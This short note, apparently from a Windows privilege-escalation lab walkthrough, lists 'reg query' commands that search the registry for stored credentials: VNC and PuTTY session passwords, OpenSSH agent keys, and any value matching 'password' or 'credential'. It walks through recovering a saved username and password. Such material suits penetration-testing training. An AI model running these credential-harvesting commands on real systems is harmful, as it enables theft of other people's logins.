These are some interesting registries to look for
reg query "HKCU\Software\ORL\WinVNC3\Password"
reg query "HKCU\Software\TightVNC\Server"
reg query "HKCU\Software\SimonTatham\PuTTY\Sessions"
reg query "HKCU\Software\OpenSSH\Agent\Keys"
reg query HKLM /f password /t REG_SZ /s
reg query HKCU /f password /t REG_SZ /s
First: Query some registry files
reg query "HKCU\Software\SimonTatham\PuTTY\Sessions"

Second: Query The Saved Session
reg query "HKEY_CURRENT_USER\Software\SimonTatham\PuTTY\Sessions\local"

Notice that we got the username and the password!
Query any registry that has the word password
reg query HKCU /f password /t REG_SZ /s

Notice that we got the Password we found earlier
Now let’s search for another word
reg query HKCU /f credential /t REG_SZ /s
